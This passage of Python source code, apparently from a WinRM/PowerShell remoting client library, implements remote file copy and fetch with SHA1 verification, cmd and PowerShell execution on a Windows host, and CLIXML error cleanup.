        # round trip if the file is small enough to fit in 2 msg's, otherwise
        # we want to get the largest size possible
        buffer_size = int(self.wsman.max_payload_size / 4 * 3)
        if src_size > (buffer_size * 2) and \
                self.wsman.max_envelope_size == 153600:
            log.debug("Updating the max WSMan envelope size")
            self.wsman.update_max_payload_size()
            buffer_size = int(self.wsman.max_payload_size / 4 * 3)
        log.info("Creating file reader with a buffer size of %d" % buffer_size)
        read_gen = read_buffer(b_src, buffer_size)

        command = u'''begin {
    $ErrorActionPreference = "Stop"
    $path = [System.IO.Path]::GetTempFileName()
    $fd = [System.IO.File]::Create($path)
    $algo = [System.Security.Cryptography.SHA1CryptoServiceProvider]::Create()
    $bytes = @()
    $expected_hash = ""
} process {
    $base64_string = $input

    $bytes = [System.Convert]::FromBase64String($base64_string)
    if ($bytes.Count -eq 48 -and $bytes[0] -eq 0 -and $bytes[1] -eq 255) {
        $hash_bytes = $bytes[-40..-1]
        $expected_hash = [System.Text.Encoding]::UTF8.GetString($hash_bytes)
    } else {
        $algo.TransformBlock($bytes, 0, $bytes.Length, $bytes, 0) > $null
        $fd.Write($bytes, 0, $bytes.Length)
    }
} end {
    $output_path = "%s"
    $dest = New-Object -TypeName System.IO.FileInfo -ArgumentList $output_path
    $fd.Close()

    try {
        $algo.TransformFinalBlock($bytes, 0, 0) > $null
        $actual_hash = [System.BitConverter]::ToString($algo.Hash)
        $actual_hash = $actual_hash.Replace("-", "").ToLowerInvariant()

        if ($actual_hash -ne $expected_hash) {
            $msg = "Transport failure, hash mistmatch"
            $msg += "`r`nActual: $actual_hash"
            $msg += "`r`nExpected: $expected_hash"
            throw $msg
        }
        [System.IO.File]::Copy($path, $output_path, $true)
        $dest.FullName
    } finally {
        [System.IO.File]::Delete($path)
    }
}''' % to_unicode(dest)
        encoded_command = to_string(base64.b64encode(to_bytes(command,
                                                              'utf-16-le')))

        with WinRS(self.wsman) as shell:
            process = Process(shell, "powershell.exe",
                              ["-NoProfile", "-NonInteractive",
                               "-EncodedCommand", encoded_command])
            process.begin_invoke()
            log.info("Starting to send file data to remote process")
            for input_data, end in read_gen:
                process.send(input_data, end)
            log.info("Finished sending file data to remote process")
            process.end_invoke()

        stderr = self.sanitise_clixml(process.stderr)
        if process.rc != 0:
            raise WinRMError("Failed to copy file: %s" % stderr)
        output_file = to_unicode(process.stdout).strip()
        log.info("Completed file transfer of '%s' to '%s'"
                 % (src, output_file))
        return output_file

    def execute_cmd(self, command, encoding='437'):
        """
        Executes a command in a cmd shell and returns the stdout/stderr/rc of
        that process. This uses the raw WinRS layer and can be used to execute
        a traditional process.

        :param command: The command to execute
        :param encoding: The encoding of the output std buffers, this
            correlates to the codepage of the host and traditionally en-US
            is 437. This probably doesn't need to be modified unless you are
            running a different codepage on your host
        :return: A tuple of
            stdout: A unicode string of the stdout
            stderr: A unicode string of the stderr
            rc: The return code of the process

        Both stdout and stderr are returned from the server as a byte string,
        they are converted to a unicode string based on the encoding variable
        set
        """
        log.info("Executing cmd process '%s'" % command)
        with WinRS(self.wsman) as shell:
            process = Process(shell, command)
            process.invoke()
            process.signal(SignalCode.CTRL_C)

        return to_unicode(process.stdout, encoding), \
            to_unicode(process.stderr, encoding), process.rc

    def execute_ps(self, script):
        """
        Executes a PowerShell script in a PowerShell runspace pool. This uses
        the PSRP layer and is designed to run a PowerShell script and not a
        raw executable.

        Because this runs in a runspace, traditional concepts like stdout,
        stderr, rc's are no longer relevant. Instead there is a output,
        error/verbose/debug streams, and a boolean that indicates if the
        script execution came across an error. If you want the traditional
        stdout/stderr/rc, use execute_cmd instead.

        :param script: The PowerShell script to run
        :return: A tuple of
            output: A unicode string of the output stream
            streams: pypsrp.powershell.PSDataStreams containing the other
                PowerShell streams
            had_errors: bool that indicates whether the script had errors
                during execution
        """
        log.info("Executing PowerShell script '%s'" % script)
        with RunspacePool(self.wsman) as pool:
            powershell = PowerShell(pool)

            # so the client executes a powershell script and doesn't need to
            # deal with complex PS objects, we run the script in
            # Invoke-Expression and convert the output to a string
            # if a user wants to get the raw complex objects then they should
            # use RunspacePool and PowerShell directly
            powershell.add_cmdlet("Invoke-Expression").add_parameter("Command",
                                                                     script)
            powershell.add_cmdlet("Out-String").add_parameter("Stream")
            powershell.invoke()

        return "\n".join(powershell.output), powershell.streams, \
               powershell.had_errors

    def fetch(self, src, dest):
        """
        Will fetch a single file from the remote Windows host and create a
        local copy. Like copy(), this can be slow when it comes to fetching
        large files due to the limitation of WinRM.

        This method will first store the file in a temporary location before
        creating or replacing the file at dest if the checksum is correct.

        :param src: The path to the file on the remote host to fetch
        :param dest: The path on the localhost host to store the file as
        """
        dest = os.path.expanduser(os.path.expandvars(dest))
        log.info("Fetching '%s' to '%s'" % (src, dest))

        self.wsman.update_max_payload_size()

        # Need to output as a base64 string as PS Runspaces will create an
        # individual byte objects for each byte in a byte array which has way
        # more overhead than a single base64 string.
        # I also wanted to output in chunks and have the local side process
        # the output in parallel for large files but it seems like the base64
        # stream is getting sent in one chunk when in a loop so scratch that
        # idea
        script = '''$ErrorActionPreference = 'Stop'
$algo = [System.Security.Cryptography.SHA1CryptoServiceProvider]::Create()
$src = New-Object -TypeName System.IO.FileInfo -ArgumentList '%s'
if ("Directory" -in $src.Attributes.ToString()) {
    throw "The path at '$($src.FullName)' is a directory, src must be a file"
} elseif (-not $src.Exists) {
    throw "The path at '$($src.FullName)' does not exist"
}

$buffer_size = 4096
$offset = 0
$fs = $src.OpenRead()
$total_bytes = $fs.Length
$bytes_to_read = $total_bytes - $offset
try {
    while ($bytes_to_read -ne 0) {
        $bytes = New-Object -TypeName byte[] -ArgumentList $bytes_to_read
        $read = $fs.Read($bytes, $offset, $bytes_to_read)

        Write-Output -InputObject ([System.Convert]::ToBase64String($bytes))
        $bytes_to_read -= $read
        $offset += $read

        $algo.TransformBlock($bytes, 0, $bytes.Length, $bytes, 0) > $null
    }
} finally {
    $fs.Dispose()
}

$algo.TransformFinalBlock($bytes, 0, 0) > $Null
$hash = [System.BitConverter]::ToString($algo.Hash)
$hash.Replace("-", "").ToLowerInvariant()''' % src

        with RunspacePool(self.wsman) as pool:
            powershell = PowerShell(pool)
            powershell.add_script(script)
            log.info("Starting remote process to output file data")
            powershell.invoke()
            log.info("Finished remote process to output file data")

            if powershell.had_errors:
                errors = powershell.streams.error
                error = "\n".join([str(err) for err in errors])
                raise WinRMError("Failed to fetch file %s: %s" % (src, error))
            expected_hash = powershell.output[-1]

            temp_file, path = tempfile.mkstemp()
            try:
                file_bytes = base64.b64decode(powershell.output[0])
                os.write(temp_file, file_bytes)

                sha1 = hashlib.sha1()
                sha1.update(file_bytes)
                actual_hash = sha1.hexdigest()

                log.debug("Remote Hash: %s, Local Hash: %s"
                          % (expected_hash, actual_hash))
                if actual_hash != expected_hash:
                    raise WinRMError("Failed to fetch file %s, hash mismatch\n"
                                     "Source: %s\nFetched: %s"
                                     % (src, expected_hash, actual_hash))
                shutil.copy(path, dest)
            finally:
                os.close(temp_file)
                os.remove(path)

    @staticmethod
    def sanitise_clixml(clixml):
        """
        When running a powershell script in execute_cmd (WinRS), the stderr
        stream may contain some clixml. This method will clear it up and
        replace it with the error string it would represent. This isn't done
        by default on execute_cmd for various reasons but people can call it
        manually here if they like.

        :param clixml: The clixml to parse
        :return: A unicode code string of the decoded output
        """
        output = to_unicode(clixml)
        if output.startswith("#< CLIXML\r\n"):
            serializer = Serializer()
            output = output[11:]
            element = ET.fromstring(output)
            namespace = element.tag.replace("Objs", "")[1:-1]
            errors = []
            for error in element.findall("{%s}S[@S='Error']" % namespace):
                errors.append(error.text)
            output = serializer._deserialize_string("".join(errors))

        return output